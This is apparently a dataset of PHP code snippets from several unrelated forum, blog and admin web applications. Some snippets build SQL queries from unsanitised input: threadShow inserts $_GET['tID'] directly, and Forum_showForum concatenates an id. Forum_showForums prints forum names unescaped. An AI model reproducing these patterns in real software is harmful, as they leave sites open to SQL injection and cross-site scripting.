array(\n\t\t\t'include_categories' => false,\n\t\t\t'base_level' => $board_info['child_level'] + 1,\n\t\t\t'parent_id' => $board_info['id'],\n\t\t\t'set_latest_post' => false,\n\t\t\t'countChildPosts' => !empty($modSettings['countChildPosts']),\n\t\t);\n\t\t$boardlist = new BoardsList($boardIndexOptions);\n\t\t$context['boards'] = $boardlist->getBoards();\n\n\t\t// Nosey, nosey - who's viewing this board?\n\t\tif (!empty($settings['display_who_viewing']))\n\t\t{\n\t\t\trequire_once(SUBSDIR . '/Who.subs.php');\n\t\t\tformatViewers($board, 'board');\n\t\t}\n\n\t\t// They didn't pick one, default to by last post descending.\n\t\tif (!isset($this->_req->query->sort) || !isset($sort_methods[$this->_req->query->sort]))\n\t\t{\n\t\t\t$context['sort_by'] = $default_sort_method;\n\t\t\t$ascending = isset($this->_req->query->asc);\n\t\t}\n\t\t// Otherwise sort by user selection and default to ascending.\n\t\telse\n\t\t{\n\t\t\t$context['sort_by'] = $this->_req->query->sort;\n\t\t\t$ascending = !isset($this->_req->query->desc);\n\t\t}\n\n\t\t$sort_column = $sort_methods[$context['sort_by']];\n\n\t\t$context['sort_direction'] = $ascending ? 'up' : 'down';\n\t\t$context['sort_title'] = $ascending ? $txt['sort_desc'] : $txt['sort_asc'];\n\n\t\t// Trick\n\t\t$txt['starter'] = $txt['started_by'];\n\n\t\t// todo: Need to move this to theme.\n\t\tforeach ($sort_methods as $key => $val)\n\t\t{\n\t\t\tswitch ($key)\n\t\t\t{\n\t\t\t\tcase 'subject':\n\t\t\t\tcase 'starter':\n\t\t\t\tcase 'last_poster':\n\t\t\t\t\t$sorticon = 'alpha';\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\t$sorticon = 'numeric';\n\t\t\t}\n\n\t\t\t$context['topics_headers'][$key] = array(\n\t\t\t\t'url' => getUrl('board', ['board' => $context['current_board'], 'start' => $context['start'], 'sort' => $key, 'name' => $board_info['name'], $context['sort_by'] == $key && $context['sort_direction'] === 'up' ? 'desc' : '']),\n\t\t\t\t'sort_dir_img' => $context['sort_by'] == $key ? '<i class=\"icon icon-small i-sort-' . $sorticon . '-' . $context['sort_direction'] . '\" title=\"' . $context['sort_title'] . '\"><s>' . $context['sort_title'] . '</s></i>' : '',\n\t\t\t);\n\t\t}\n\n\t\t// Calculate the fastest way to get the topics.\n\t\t$start = (int) $this->_req->query->start;\n\t\tif ($start > ($board_info['total_topics'] - 1) / 2)\n\t\t{\n\t\t\t$ascending = !$ascending;\n\t\t\t$fake_ascending = true;\n\t\t\t$maxindex = $board_info['total_topics'] < $start + $maxindex + 1 ? $board_info['total_topics'] - $start : $maxindex;\n\t\t\t$start = $board_info['total_topics'] < $start + $maxindex + 1 ? 0 : $board_info['total_topics'] - $start - $maxindex;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$fake_ascending = false;\n\t\t}\n\n\t\t$context['topics'] = array();\n\n\t\t// Set up the query options\n\t\t$indexOptions = array(\n\t\t\t'only_approved' => $modSettings['postmod_active'] && !allowedTo('approve_posts'),\n\t\t\t'previews' => !empty($modSettings['message_index_preview']) ? (empty($modSettings['preview_characters']) ? -1 : $modSettings['preview_characters']) : 0,\n\t\t\t'include_avatars' => $settings['avatars_on_indexes'],\n\t\t\t'ascending' => $ascending,\n\t\t\t'fake_ascending' => $fake_ascending\n\t\t);\n\n\t\t// Allow integration to modify / add to the $indexOptions\n\t\tcall_integration_hook('integrate_messageindex_topics', array(&$sort_column, &$indexOptions));\n\n\t\t$topics_info = messageIndexTopics($board, $this->user->id, $start, $maxindex, $context['sort_by'], $sort_column, $indexOptions);\n\n\t\t$context['topics'] = TopicUtil::prepareContext($topics_info, false, !empty($modSettings['preview_characters']) ? $modSettings['preview_characters'] : 128);\n\n\t\t// Allow addons to add to the $context['topics']\n\t\tcall_integration_hook('integrate_messageindex_listing', array($topics_info));\n\n\t\t// Fix the sequence of topics if they were retrieved in the wrong order. (for speed reasons...)\n\t\tif ($fake_ascending)\n\t\t{\n\t\t\t$context['topics'] = array_reverse($context['topics'], true);\n\t\t}\n\n\t\t$topic_ids = array_keys($context['topics']);\n\n\t\tif (!empty($modSettings['enableParticipation']) && $this->user->is_guest === false && !empty($topic_ids))\n\t\t{\n\t\t\t$topics_participated_in = topicsParticipation($this->user->id, $topic_ids);\n\t\t\tforeach ($topics_participated_in as $participated)\n\t\t\t{\n\t\t\t\t$context['topics'][$participated['id_topic']]['is_posted_in'] = true;\n\t\t\t\t$context['topics'][$participated['id_topic']]['class'] = 'my_' . $context['topics'][$participated['id_topic']]['class'];\n\t\t\t}\n\t\t}\n\n\t\t$context['jump_to'] = array(\n\t\t\t'label' => addslashes(un_htmlspecialchars($txt['jump_to'])),\n\t\t\t'board_name' => htmlspecialchars(strtr(strip_tags($board_info['name']), array('&amp;' => '&')), ENT_COMPAT, 'UTF-8'),\n\t\t\t'child_level' => $board_info['child_level'],\n\t\t);\n\n\t\t// Is Quick Moderation active/needed?\n\t\tif (!empty($options['display_quick_mod']) && !empty($context['topics']))\n\t\t{\n\t\t\t$context['can_markread'] = $context['user']['is_logged'];\n\t\t\t$context['can_lock'] = allowedTo('lock_any');\n\t\t\t$context['can_sticky'] = allowedTo('make_sticky');\n\t\t\t$context['can_move'] = allowedTo('move_any');\n\t\t\t$context['can_remove'] = allowedTo('remove_any');\n\t\t\t$context['can_merge'] = allowedTo('merge_any');\n\n\t\t\t// Ignore approving own topics as it's unlikely to come up...\n\t\t\t$context['can_approve'] = $modSettings['postmod_active'] && allowedTo('approve_posts') && !empty($board_info['unapproved_topics']);\n\n\t\t\t// Can we restore topics?\n\t\t\t$context['can_restore'] = allowedTo('move_any') && !empty($modSettings['recycle_enable']) && $modSettings['recycle_board'] == $board;\n\n\t\t\t// Set permissions for all the topics.\n\t\t\tforeach ($context['topics'] as $t => $topic)\n\t\t\t{\n\t\t\t\t$started = $topic['first_post']['member']['id'] == $this->user->id;\n\t\t\t\t$context['topics'][$t]['quick_mod'] = array(\n\t\t\t\t\t'lock' => allowedTo('lock_any') || ($started && allowedTo('lock_own')),\n\t\t\t\t\t'sticky' => allowedTo('make_sticky'),\n\t\t\t\t\t'move' => allowedTo('move_any') || ($started && allowedTo('move_own')),\n\t\t\t\t\t'modify' => allowedTo('modify_any') || ($started && allowedTo('modify_own')),\n\t\t\t\t\t'remove' => allowedTo('remove_any') || ($started && allowedTo('remove_own')),\n\t\t\t\t\t'approve' => $context['can_approve'] && $topic['unapproved_posts']\n\t\t\t\t);\n\t\t\t\t$context['can_lock'] |= ($started && allowedTo('lock_own'));\n\t\t\t\t$context['can_move'] |= ($started && allowedTo('move_own'));\n\t\t\t\t$context['can_remove'] |= ($started && allowedTo('remove_own'));\n\t\t\t}\n\n\t\t\t// Can we use quick moderation checkboxes?\n\t\t\tif ($options['display_quick_mod'] == 1)\n\t\t\t{\n\t\t\t\t$context['can_quick_mod'] = $context['user']['is_logged'] || $context['can_approve'] || $context['can_remove'] || $context['can_lock'] || $context['can_sticky'] || $context['can_move'] || $context['can_merge'] || $context['can_restore'];\n\t\t\t}\n\t\t\t// Or the icons?\n\t\t\telse\n\t\t\t{\n\t\t\t\t$context['can_quick_mod'] = $context['can_remove'] || $context['can_lock'] || $context['can_sticky'] || $context['can_move'];\n\t\t\t}\n\t\t}\n\n\t\tif (!empty($context['can_quick_mod']) && $options['display_quick_mod'] == 1)\n\t\t{\n\t\t\t$context['qmod_actions'] = array('approve', 'remove', 'lock', 'sticky', 'move', 'merge', 'restore', 'markread');\n\t\t\tcall_integration_hook('integrate_quick_mod_actions');\n\t\t}\n\n\t\tif (!empty($context['boards']) && $context['start'] == 0)\n\t\t{\n\t\t\t$template_layers->add('display_child_boards');\n\t\t}\n\n\t\t// If there are children, but no topics and no ability to post topics...\n\t\t$context['no_topic_listing'] = !empty($context['boards']) && empty($context['topics']) && !$context['can_post_new'];\n\t\t$template_layers->add('topic_listing');\n\n\t\ttheme()->addJavascriptVar(array('notification_board_notice' => $context['is_marked_notify'] ? $txt['notification_disable_board'] : $txt['notification_enable_board']), true);\n\n\t\t// Build the message index button array.\n\t\t$context['normal_buttons'] = array(\n\t\t\t'new_topic' => array('test' => 'can_post_new',\n\t\t\t\t\t\t\t\t 'text' => 'new_topic',\n\t\t\t\t\t\t\t\t 'lang' => true,\n\t\t\t\t\t\t\t\t 'url' => getUrl('action', ['action' => 'post', 'board' => $context['current_board'] . '.0']),\n\t\t\t\t\t\t\t\t 'active' => true),\n\t\t\t'notify' => array('test' => 'can_mark_notify',\n\t\t\t\t\t\t\t 'text' => $context['is_marked_notify'] ? 'unnotify' : 'notify',\n\t\t\t\t\t\t\t 'lang' => true, 'custom' => 'onclick=\"return notifyboardButton(this);\"',\n\t\t\t\t\t\t\t 'url' => getUrl('action', ['action' => 'notifyboard', 'sa' => ($context['is_marked_notify'] ? 'off' : 'on'), 'board' => $context['current_board'] . '.' . $context['start'], '{session_data}'])),\n\t\t);\n\n\t\ttheme()->addJavascriptVar(array(\n\t\t\t'txt_mark_as_read_confirm' => $txt['mark_these_as_read_confirm']\n\t\t), true);\n\n\t\t// They can only mark read if they are logged in and it's enabled!\n\t\tif ($this->user->is_guest === false && $settings['show_mark_read'])\n\t\t{\n\t\t\t$context['normal_buttons']['markread'] = array(\n\t\t\t\t'text' => 'mark_read_short',\n\t\t\t\t'lang' => true,\n\t\t\t\t'url' => getUrl('action', ['action' => 'markasread', 'sa' => 'board', 'board' => $context['current_board'] . '.0', '{session_data}']),\n\t\t\t\t'custom' => 'onclick=\"return markboardreadButton(this);\"'\n\t\t\t);\n\t\t}\n\n\t\t// Allow adding new buttons easily.\n\t\tcall_integration_hook('integrate_messageindex_buttons');\n\t}", "function Forum_showForum(&$PAGEDATA, &$id) {\n\tWW_addCSS('/ww.plugins/forum/frontend/forum.css');\n\t// { forum data\n\t$forum=dbRow('select * from forums where id='.$id);\n\tif (!$forum || !count($forum)) {\n\t\treturn '<em class=\"error\">Error: this forum does not exist!</em>';\n\t}\n\t$c='<h2 class=\"forum-name\">'.htmlspecialchars($forum['name']).'</h2>';\n\t// }\n\t// { subforums\n\t$subforums=dbAll('select * from forums where parent_id='.$id);\n\tif ($subforums && count($subforums)) {\n\t\treturn 'TODO: subforums';\n\t}\n\t// }\n\t// { threads\n\t$threads=dbAll(\n\t\t'select * from forums_threads '\n\t\t.'where forum_id='.$id.' order by last_post_date desc'\n\t);\n\tif ($threads && count($threads)) {\n\t\t$c.='<table id=\"forum-threads\">'\n\t\t\t.'<tr><th>Topics</th><th>Replies</th>'\n\t\t\t.'<th>Author</th><th>Last Post</th></tr>';\n\t\tforeach ($threads as $thread) {\n\t\t\t$user=User::getInstance($thread['creator_id']);\n\t\t\t$last_user=User::getInstance($thread['last_post_by']);\n\t\t\t$user_name=$user?$user->get('name'):'';\n\t\t\t$last_user_name=$last_user?$last_user->get('name'):'';\n\t\t\t$c.='<tr><td><a href=\"'.$PAGEDATA->getRelativeUrl()\n\t\t\t\t.'?forum-f='.$id.'&amp;forum-t='.$thread['id'].'\">'\n\t\t\t\t.htmlspecialchars($thread['name']).'</td><td>'\n\t\t\t\t.($thread['num_posts']-1).'</td>'\n\t\t\t\t.'<td>'.htmlspecialchars($user_name).'</td><td>'\n\t\t\t\t.Core_dateM2H($thread['last_post_date'], 'datetime').', by '\n\t\t\t\t.htmlspecialchars($last_user_name).'</td></tr>';\n\t\t}\n\t\t$c.='</table>';\n\t}\n\telse {\n\t\t$c.='<div class=\"forum-no-threads\"><p>This forum has no threads in it.'\n\t\t\t.' Be the first to post to it!</p></div>';\n\t}\n\t// }\n\t// { post form\n\tif (isset($_SESSION['userdata']) && $_SESSION['userdata']['id']) {\n\t\t$c.='<div id=\"forum-post-submission-form\"><script defer=\"defer\">var forum_id='\n\t\t\t.$id.';</script></div>';\n\t\tWW_addScript('//cdn.ckeditor.com/4.4.3/standard/ckeditor.js');\n\t\tWW_addScript('//cdn.ckeditor.com/4.4.3/standard/adapters/jquery.js');\n\t\tWW_addScript('forum/frontend/forum.js');\n\t}\n\telse {\n\t\t$c.='<div class=\"forum-not-logged-in\">In order to post to this forum,'\n\t\t\t.' you must <a href=\"/_r?type=loginpage\">login'\n\t\t\t.'</a> first.</div>';\n\t}\n\t// }\n\treturn $c;\n}", "public function showList()\n {\n // Get posts datas\n $postList = $this->currentModel->getListWithAuthor();\n // Loop to find any existing comments attached to each post\n for ($i = 0; $i < count($postList); $i ++) {\n // Retrieve (or not) single post comments\n $postComments = $this->currentModel->getCommentListForSingle($postList[$i]->id);\n // Comments are found for a post.\n if ($postComments != false) {\n // Add temporary param \"postComments\" to object\n $postList[$i]->postComments = $postComments;\n }\n // Retrieve single post images\n $postImages = $this->currentModel->getImageListForSingle($postList[$i]->id);\n // Images are found for a post.\n if ($postImages != false) {\n // Add temporary param \"postImages\" to object\n $postList[$i]->postImages = $postImages;\n }\n }\n $varsArray = [\n 'metaTitle' => 'Posts list',\n 'metaDescription' => 'Here, you can follow our news and technical topics.',\n 'imgBannerCSSClass' => 'post-list',\n 'postList' => $postList\n ];\n echo $this->page->renderTemplate('Blog/Post/post-list.tpl', $varsArray);\n }", "public function faqs()\n\t\t{\n\t\t\t$this->load->model('faqs_model', 'fm');\n\t\t\t$data['faqs_data'] = $this->fm->get_all();\n\t\t\t$this->load->view('faqs-admin', $data);\n\t\t}", "public function renderForumSearch() {\n\n\t\t$user = $this->wire('user');\n\n\t\tif ($user->isSuperuser()) {\n\n\t\t\treturn \"<li><a href='https://processwire.com/talk/' class='parent forum-search'><i class='fa fa-comments'></i>\" . $this->_('Forum search') . \"</a>\n\t\t\t\t\t<ul><li><form\n\t\t\t\t\t\taction='https://processwire.com/talk/index.php?app=core&amp;module=search&amp;do=search'\n\t\t\t\t\t\tmethod='post'\n\t\t\t\t\t\ttarget='_blank'>\n\t\t\t\t\t\t\t<fieldset>\n\t\t\t\t\t\t\t\t<input type='text' name='search_term' placeholder='\" . $this->_('Enter term and hit enter…') . \"' id='search_term' tabindex='100'>\n\t\t\t\t\t\t\t\t<input type='submit' id='search_submit' value='Search'>\n\t\t\t\t\t\t\t</fieldset>\n\t\t\t\t\t\t</form>\n\t\t\t\t\t\t</li></ul></li>\";\n\t\t}\n\n\t}", "public function get_list() {\n try {\n \n $limit = $this->getSafe('limit', $this->app->appConf->page_size);\n $page_number = $this->getSafe('page_number', 1);\n $where = $this->getSafe('where', '');\n $order_by = $this->getSafe('order_by', '');\n $keywords = $this->getSafe('keywords', '');\n \n $page_number = empty($page_number) ? 1 : $page_number;\n \n $start_index = ($page_number -1) * $limit;\n \n $db = $this->app->getDbo();\n \n $search = '';\n \n if (!empty($keywords)) {\n $keywords = $db->quote('%' . $keywords . '%');\n // search theo name\n $search .= $db->quoteName('name') . ' LIKE ' . $keywords;\n }\n \n if (!empty ($where)) {\n if (!empty ($search)) {\n $where = ' AND (' . $search . ')';\n }\n } else {\n $where = $search;\n }\n \n $data = array (\n 'limit' => $limit,\n 'start_index' => $start_index,\n 'order_by' => $order_by,\n 'where' => $where\n );\n \n $messagequeue_list = $this->messagequeue_model->get_list($data);\n \n $total_messagequeue_list = $this->messagequeue_model->get_list_total($where);\n \n $ret = array (\n 'messages' => $messagequeue_list,\n 'total' => $total_messagequeue_list\n );\n \n $this->renderJson($ret);\n \n } catch (Exception $ex) {\n $this->app->write_log('messagequeue_get_list_exception - ' . $ex->getMessage());\n \n $ret = $this->message(1, 'messagequeue_get_list_exception', $ex->getMessage());\n $this->renderJson($ret);\n }\n }", "public function threads()\n\t{\n\n\t\t// get sort type\n\n\n\t\t$query = Thread::where('parent_id', null)->with('user')->with('topic')->limit(20);\n\n\t\t$sort = get_string('sort', 'newest');\n\n\t\t$topic = get_int('topic', false);\n\n\t\tif($topic)\n\t\t\t$query->where('topic_id', $topic);\n\n\t\tThread::setOrder($query, $sort);\n\n\t\t$threads = $query->get();\n\n\t\t$topics = Topic::all();\n\n\t\treturn view('threads.index', compact('threads', 'sort', 'topics'));\n\t\n\t}", "public function Queues();", "public function index()\n {\n //\n $topics = Forum::paginate(5);\n \n \n // foreach ($topics as $topic) {\n // # code...\n // $topicCreatedByUser = $topic->user;\n // }\n // exit;\n return view('forum.forum_topics', compact('topics'));\n }", "public function index()\n {\n $forum = DB::SELECT(\"SELECT * FROM forum order by admin\");;\n // dd($q);\n return view('v_forum',['forum' =>$forum]);\n\n }", "function Forum_showForums(&$PAGEDATA, &$forums) {\n\t$c='<div class=\"forums-list\"><div class=\"forums-list-intro\">'\n\t\t.'Forums on this page</div>';\n\tforeach($forums as $forum) {\n\t\t$c.='<div class=\"forum-forum\">'\n\t\t\t.'<a href=\"'.$PAGEDATA->getRelativeURL.'?forum-f='.$forum['id'].'\">'\n\t\t\t\t.$forum['name'].'</a></div>';\n\t}\n\t$c.='</div>';\n\treturn $c;\n}", "public static function display_forum_rules() {\n ?>\n <ol>\n <?= Lang::get('rules', 'chat_forums_rules') ?>\n </ol>\n <?\n }", "public function index()\n {\n //\n return view('Forum.index')\n ->with('posts',forumquestion::orderBy('id','DESC')->get());\n\n }", "function preview_forums()\n\t{\n\t\t//-----------------------------------------\n\t\t// Check for a valid ID\n\t\t//-----------------------------------------\n\n\t\tif ($this->ipsclass->input['id'] == \"\")\n\t\t{\n\t\t\t$this->ipsclass->admin->error(\"Нельзя произвести изменения в масках доступа этому ID, пожалуйста, попытайтесь еще раз\");\n\t\t}\n\n\t\t$this->ipsclass->DB->simple_construct( array( 'select' => '*', 'from' => 'forum_perms', 'where' => \"perm_id=\".intval($this->ipsclass->input['id']) ) );\n\t\t$this->ipsclass->DB->simple_exec();\n\n\t\tif ( ! $perms = $this->ipsclass->DB->fetch_row() )\n\t\t{\n\t\t\t$this->ipsclass->admin->error(\"Нельзя произвести изменения в масках доступа этому ID, пожалуйста, попытайтесь еще раз\");\n\t\t}\n\n\t\t//-----------------------------------------\n\t\t// What we doin'?\n\t\t//-----------------------------------------\n\n\t\tswitch( $this->ipsclass->input['t'] )\n\t\t{\n\t\t\tcase 'start':\n\t\t\t\t$human_type = '<b>Создание тем</b> в этом форуме';\n\t\t\t\t$code_word = 'start_perms';\n\t\t\t\tbreak;\n\n\t\t\tcase 'reply':\n\t\t\t\t$human_type = '<b>Публикация ответов</b> в этом форуме';\n\t\t\t\t$code_word = 'reply_perms';\n\t\t\t\tbreak;\n\n\t\t\tcase 'show':\n\t\t\t\t$human_type = '<b>Просмотр форума</b> в этом форуме';\n\t\t\t\t$code_word = 'show_perms';\n\t\t\t\tbreak;\n\n\t\t\tcase 'upload':\n\t\t\t\t$human_type = '<b>Загрузка файлов</b> в этом форуме';\n\t\t\t\t$code_word = 'upload_perms';\n\t\t\t\tbreak;\n\n\t\t\tcase 'download':\n\t\t\t\t$human_type = '<b>Скачивание файлов</b> в этом форуме';\n\t\t\t\t$code_word = 'download_perms';\n\t\t\t\tbreak;\n\n\t\t\tdefault:\n\t\t\t\t$human_type = '<b>Просмотр</b> этого форума';\n\t\t\t\t$code_word = 'read_perms';\n\t\t\t\tbreak;\n\t\t}\n\n\t\t//-----------------------------------------\n\t\t// Get all members using that ID then!\n\t\t//-----------------------------------------\n\n\t\t$this->ipsclass->adskin->td_header[] = array( \"$human_type\" , \"100%\" );\n\n\t\t//-----------------------------------------\n\n\t\t$this->ipsclass->html .= $this->ipsclass->adskin->start_table( \"Просмотр: \" . $perms['perm_name'] );\n\n\t\t$the_html = \"\";\n\n\t\t$perm_id = intval($this->ipsclass->input['id']);\n\n\t\t$theforums = $this->forumfunc->ad_forums_forum_list(1);\n\n\t\tforeach( $theforums as $v )\n\t\t{\n\t\t\t$id = $v[0];\n\t\t\t$name = $v[1];\n\n\t\t\t$this->ipsclass->forums->forum_by_id[$id][ $code_word ] = isset($this->ipsclass->forums->forum_by_id[$id][ $code_word ]) ? $this->ipsclass->forums->forum_by_id[$id][ $code_word ] : '';\n\n\t\t\tif ($this->ipsclass->forums->forum_by_id[$id][ $code_word ] == '*')\n\t\t\t{\n\t\t\t\t$the_html[] = \"<span style='color:green;font-weight:bold''>\".$name.\"</span>\";\n\t\t\t}\n\t\t\telse if (preg_match( \"/(^|,)\".$perm_id.\"(,|$)/\", $this->ipsclass->forums->forum_by_id[$id][ $code_word ]) )\n\t\t\t{\n\t\t\t\t$the_html[] = \"<span style='color:green;font-weight:bold''>\".$name.\"</span>\";\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif( $code_word != 'show_perms' AND $this->ipsclass->forums->forum_by_id[$id]['parent_id'] == 'root' )\n\t\t\t\t{\n\t\t\t\t\t//-----------------------------------------\n\t\t\t\t\t// CATEGORY\n\t\t\t\t\t//-----------------------------------------\n\n\t\t\t\t\t$the_html[] = \"<span style='color:grey;'>\".$name.\"</span>\";\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t//-----------------------------------------\n\t\t\t\t\t// CAN'T ACCESS\n\t\t\t\t\t//-----------------------------------------\n\n\t\t\t\t\t$the_html[] = \"<span style='color:red;font-weight:bold''>\".$name.\"</span>\";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$html = implode( \"<br />\", $the_html );\n\n\t\t$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array( $html ) );\n\n\t\t$this->ipsclass->html .= $this->ipsclass->adskin->end_table();\n\n\t\t//-----------------------------------------\n\n\t\t$this->ipsclass->html .= $this->ipsclass->adskin->start_form( array( 1 => array( 'code' , 'preview_forums' ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 2 => array( 'act' , 'group' ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 3 => array( 'id' , $this->ipsclass->input['id'] ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 4 => array( 'section', $this->ipsclass->section_code ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t) );\n\n\t\t$this->ipsclass->adskin->td_header[] = array( \"&nbsp;\" , \"60%\" );\n\t\t$this->ipsclass->adskin->td_header[] = array( \"&nbsp;\" , \"40%\" );\n\n\t\t$this->ipsclass->html .= $this->ipsclass->adskin->start_table( \"Информация\" );\n\n\t\t$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"$human_type: возможно\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"<input type='text' readonly='readonly' style='border:1px solid black;background-color:green;size=30px' name='blah'>\"\n\t\t\t\t\t\t\t\t\t\t ) );\n\n\t\t$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"$human_type: невозможно\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"<input type='text' readonly='readonly' style='border:1px solid gray;background-color:red;size=30px' name='blah'>\"\n\t\t\t\t\t\t\t\t\t\t ) );\n\n\t\tif( $code_word != \"show_perms\" )\n\t\t{\n\t\t\t$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"Категория (эта маска не используется)\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"<input type='text' readonly='readonly' style='border:1px solid gray;background-color:grey;size=30px' name='blah'>\"\n\t\t\t\t\t\t\t\t\t\t\t ) );\n\t\t}\n\n\t\t$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"Проверить на...\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t$this->ipsclass->adskin->form_dropdown( 't',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tarray( 0 => array( 'start', 'Создание тем' ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 1 => array( 'reply', 'Публикацию ответов' ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 2 => array( 'read' , 'Чтение тем' ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 3 => array( 'show' , 'Просмотр форума' ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 4 => array( 'upload', 'Загрузку файлов' ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 5 => array( 'download', 'Скачивание файлов' ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t ), $this->ipsclass->input['t'] )\n\t\t\t\t\t\t\t\t\t\t ) );\n\n\t\t$this->ipsclass->html .= $this->ipsclass->adskin->end_form( \"Просмотреть\" );\n\n\t\t$this->ipsclass->html .= $this->ipsclass->adskin->end_table();\n\n\t\t$this->ipsclass->admin->print_popup();\n\n\t}", "function rw_singleforum_description() {\n echo '<div class=\"bbp-forum-content\">';\n // echo bbp_forum_content();\n echo \"<p>Listed below are the topic-specific areas in which you can initiate and/or participate in a discussion. Click on a topic and you will see the list of discussions in that area. You can start a new discussion at the bottom of that page.</p>\";\n echo '</div>';\n}", "public function pendingqueslist()\n\t{\n\n\n\n\t\t$data['rs'] = $this->lib_model->Select('m_addques', 'id,createdBy,name,about,status,subjectcode,createdBy', array('createdBy' => $this->session->EmpId,'status' => 0));\n\t\trsort($data['rs']);\n\t\t\n\t\t$this->load->view('f/f_header', $data);\n\t\t$this->load->view('f/f_pendingqueslist');\n\t\t$this->load->view('f/f_footer');\n\t}", "function index( $args )\n {\n \n /* =======================================\n * Begin Query database for message boards\n */\n $boards_model = $this->app->\n model('forum_boards','forum/models');\n \n // get boards\n $result = $boards_model->get_grouped();\n \n \n // add action for link to boards\n $board_action = $this->app->form_path('forum/board');\n $this->view->add('board_action',$board_action);\n \n // pass the results on to the view\n $this->view->add('grouped_boards',$result);\n \n \n // set page title\n $this->view->add('page_title', 'Garage Sale Message Boards');\n }", "protected function forum_queue_edit()\n\t{\n\t\tif (!$this->phpbb_post_id)\n\t\t{\n\t\t\treturn;\n\t\t}\n\n\t\t$forum_id = self::get_queue_forum_id($this->topic->topic_category, $this->post_type);\n\n\t\tif (!$forum_id)\n\t\t{\n\t\t\treturn;\n\t\t}\n\n\t\ttitania::_include('functions_posting', 'phpbb_posting');\n\n\t\t$path_helper = phpbb::$container->get('path_helper');\n\t\t$post_text = $this->post_text;\n\n\t\thandle_queue_attachments($this, $post_text);\n\t\tmessage::decode($post_text, $this->post_text_uid);\n\n\t\t$post_text .= \"\\n\\n\" . $path_helper->strip_url_params($this->get_url(), 'sid');\n\n\t\t$options = array(\n\t\t\t'post_id'\t\t\t\t=> $this->phpbb_post_id,\n\t\t\t'topic_title'\t\t\t=> $this->post_subject,\n\t\t\t'post_text'\t\t\t\t=> $post_text,\n\t\t);\n\n\t\tphpbb_posting('edit', $options);\n\t}", "function threadShow($tally, $act, $dir='DESC', $str=''){\n\t/*\n\t * Show the general scene start for a thread and then all related posts related to that thread/topic.\n\t * $tally sets number of posts per page\n\t * $direction sets order to either ASC of DESC (Newest or Oldest post first)\n\t */\n\n\n\t#uID is the current user/viewer looking at page,\n\t#hID is the handler/creator of actual thread\n\t$uID=$hID=$hName=$priv='';\n\t#for query string\n\t$rqID=$rtID=$tTitle=$twID=$wID=$testStr=$btns='';\n\n\t#get requested thread id\n\t$rqID = $_GET['tID']; #$rID = requested thread id\n\n\n\n\t#dumpDie($_SESSION['Privilege']);\n\n\t#get user creds\n\tif(isset($_SESSION['UserID']))\t { $hID = $_SESSION['UserID']; } #uID = ''\n\tif(isset($_SESSION['Privilege'])){ $priv = $_SESSION['Privilege']; } ##priv = ''\n\n\t#get Post modifiers to pass on to 'populate' existing post with\n\tif(isset($_GET['pWeather'])){ $wID = $_GET['pWeather']; }\n\n\t$sql = \"SELECT ThreadID, CatID, PostID, UserID, ThreadFeaturing, ThreadType, ThreadTitle, ThreadRating, ThreadPhaseOfDay, ThreadTimeOfDay, ThreadWeather, ThreadLocation, ThreadContent, ThreadNotes, ThreadSummary, ThreadTag, DatePostThread, DatePullThread, DateCreated, LastUpdated FROM ma_Threads where ThreadID = {$rqID}\n\tORDER BY PostID $dir;\";\n\n\n\t$str .= '<!-- start general content -->\n\t<div class=\"col-sm-9 col-xs-12 pull-right\">';\n\n\t# connection comes first in mysqli (improved) function\n\t$result = mysqli_query(IDB::conn(),$sql) or die(trigger_error(mysqli_error(IDB::conn()), E_USER_ERROR));\n\tif (mysqli_num_rows($result) > 0)//at least one record!\n\t{//show results\n\t\twhile($row = mysqli_fetch_assoc($result))\n\t\t{# process each row\n\t\t\t$catID \t \t\t\t= (int)$row['CatID'];\n\t\t\t#$uID \t \t\t\t= (int)$row['UserID']; #owner/creator of thread\n\t\t\t$uID \t\t\t\t\t= (isset($row['UserID'])) \t? $row['UserID'] : 0;\n\n\t\t\t$rtID \t \t\t\t= (int)$row['ThreadID'];\n\n\t\t\t$tTitle \t\t\t= $row['ThreadTitle'];\n\t\t\t$titleEncoded = str_replace(' ', '_', $tTitle); #URL safe\n\n\t\t\t$tType \t\t\t\t= $row['ThreadType'];\n\t\t\t$tRate \t\t\t\t= $row['ThreadRating'];\n\t\t\t$tRateEncoded = str_replace(' ', '_', $tRate); #URL safe\n\n\t\t\t$phase \t\t\t\t= $row['ThreadPhaseOfDay'];\n\t\t\t$phaseEncoded = str_replace(' ', '_', $phase); #URL safe\n\n\t\t\t$time \t\t\t\t= $row['ThreadTimeOfDay'];\n\t\t\t#add 67 seconds to time stamp\n\t\t\t$time \t\t\t\t= date(\"m/d/Y h:i:s a\", time() + 67);\n\t\t\t$timeEncoded = str_replace(' ', '_', $time); #URL safe\n\n\t\t\t$tWeather \t\t= $row['ThreadWeather']; 